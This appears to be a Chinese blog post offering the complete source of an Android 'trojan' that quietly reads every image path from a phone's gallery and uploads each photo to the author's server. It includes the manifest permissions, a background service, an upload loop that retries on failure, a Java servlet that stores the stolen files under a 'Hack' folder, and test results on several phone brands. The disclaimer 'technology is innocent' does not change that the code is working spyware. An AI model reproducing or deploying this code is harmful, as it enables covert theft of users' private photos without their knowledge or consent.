<Excerpt in index | 首页摘要>
Android偷偷扫描用户手机相册并上传至服务器
<The rest of contents | 余下全文>
G20放假的时候写的一个小木马.功能主要就是偷取当前用户所有图片.
技术无罪,滥用者后果自负.
##概述 很简单的小东西,主要就是读取当前本地相册所有图片路径,然后遍历上传.
主要现在Android对相册的读取还没有权限的限制,所以这个小木马的可行性还是比较高的.
##实现-Android 必要权限与声明
1 2 3 4 5 6 7 8 <uses-permission android:name ="android.permission.INTERNET" /> <uses-permission android:name ="android.permission.READ_EXTERNAL_STORAGE" /> <uses-permission android:name ="android.permission.READ_PHONE_STATE" /> <service android:name=".ImgService" android:process="com.gloomyer.img" />
主Actvitiy里面启动Service
1 startService(new Intent(this , ImgService.class));
这边上传是用的okhttp ,封装库使用的是okhttputils
ImgService代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public class ImgService extends Service { @Nullable @Override public IBinder onBind (Intent intent) { return null ; } @Override public void onCreate () { } @Override public int onStartCommand (Intent intent, int flags, int startId) { Uri uri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI; new ImageAsyncTask(this ).execute(uri); return super .onStartCommand(intent, START_STICKY, startId); } }
ImageAsyncTask代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 public class ImageAsyncTask extends AsyncTask <Uri , Void , Boolean > { private Context mContext; private HashMap<String, List<String>> mData; private ArrayList<FolderEntity> mFolder; public ImageAsyncTask (Context context) { this .mContext = context; this .mData = new HashMap<>(); this .mFolder = new ArrayList<>(); } @Override protected void onPostExecute (Boolean aBoolean) { Log.i("folder" , mData.toString()); new Thread() { @Override public void run () { Set<String> keys = mData.keySet(); for (String key : keys) { List<String> imgs = mData.get(key); for (String img : imgs) { HashMap<String, File> map = new HashMap<>(); String name = "" ; try { name = img.substring(img.lastIndexOf("/" ) + 1 ); } catch (Exception e) { name = "" ; } map.put(name, new File(img)); RequestCall build = OkHttpUtils.post() .url(Net.PAY + "?method=uploadImg" ) .files("img" , map) .build(); upload(build); } } } }.start(); } private void upload (final RequestCall build) { build.execute(new StringCallback() { @Override public void onError (Call call, Exception e, int id) { upload(build); } @Override public void onResponse (String response, int id) { } }); } @Override protected Boolean doInBackground (Uri... params) { return getImages(params[0 ]); } private Boolean getImages (Uri param) { ContentResolver contentResolver = mContext.getContentResolver(); String selection = MediaStore.Images.Media.MIME_TYPE + "=? or " + MediaStore.Images.Media.MIME_TYPE + "=?" ; Cursor cursor = contentResolver.query(param, null , selection, new String[]{"image/jpeg" , "image/png" }, MediaStore.Images.Media.DEFAULT_SORT_ORDER); if (cursor == null ) { return false ; } while (cursor.moveToNext()) { String path = cursor.getString(cursor.getColumnIndex(MediaStore.Images.Media.DATA)); String ParentName = new File(path).getParentFile().getName(); if (!mData.containsKey(ParentName)) { List<String> childList = new ArrayList<>(); childList.add(path); mData.put(ParentName, childList); } else { mData.get(ParentName).add(path); } } mFolder.addAll(getFolder(mData)); cursor.close(); return true ; } public ArrayList<FolderEntity> getFolder (HashMap<String, List<String>> mData) { ArrayList<FolderEntity> folder = new ArrayList<>(); Iterator<Map.Entry<String, List<String>>> iterator = mData.entrySet().iterator(); while (iterator.hasNext()) { FolderEntity entity = new FolderEntity(); Map.Entry<String, List<String>> next = iterator.next(); entity.folderName = next.getKey(); entity.count = next.getValue().size(); folder.add(entity); } return folder; } }
##实现-JaveWeb(后台) Servlet实现代码 依赖两个库(apache的) commons-io-2.5.jar commons-fileupload-1.3.2.jar
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { doPost(req, resp); } @Override protected void doPost (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String method = req.getParameter("method" ); try { Method m = getClass().getDeclaredMethod(method, HttpServletRequest.class, HttpServletResponse.class); m.invoke(this , req, resp); } catch (Exception e) { e.printStackTrace(); } } public void uploadImg (HttpServletRequest req, HttpServletResponse resp) { DiskFileItemFactory factory = new DiskFileItemFactory(); ServletFileUpload uploadFile = new ServletFileUpload(factory); File filePath = null ; if (uploadFile.isMultipartContent(req)) { try { Map<String, List<FileItem>> fileMap = uploadFile.parseParameterMap(req); List<FileItem> fileList = fileMap.get("img" ); for (FileItem fileItem : fileList) { String uuid = UUID.randomUUID().toString().replace("-" , "" ); String fileName = fileItem.getName(); String hash = Math.abs(fileName.hashCode()) + "" ; File uploadDir = new File("D:/Hack/img/" ); if (!uploadDir.exists()) uploadDir.mkdirs(); String substring; try { substring = fileName.substring(fileName.lastIndexOf("." ) + 1 ); } catch (Exception e) { substring = "jpg" ; } filePath = new File(uploadDir, uuid + "." + substring); InputStream is = fileItem.getInputStream(); FileOutputStream fos = new FileOutputStream(filePath); byte [] buffer = new byte [1024 ]; int len = -1 ; while ((len = is.read(buffer)) > 0 ) { fos.write(buffer, 0 , len); } is.close(); fos.flush(); fos.close(); } } catch (Exception e) { e.printStackTrace(); if (filePath != null && filePath.exists()) filePath.delete(); } } }
##测试结果 小米 OK 魅族 OK 锤子 OK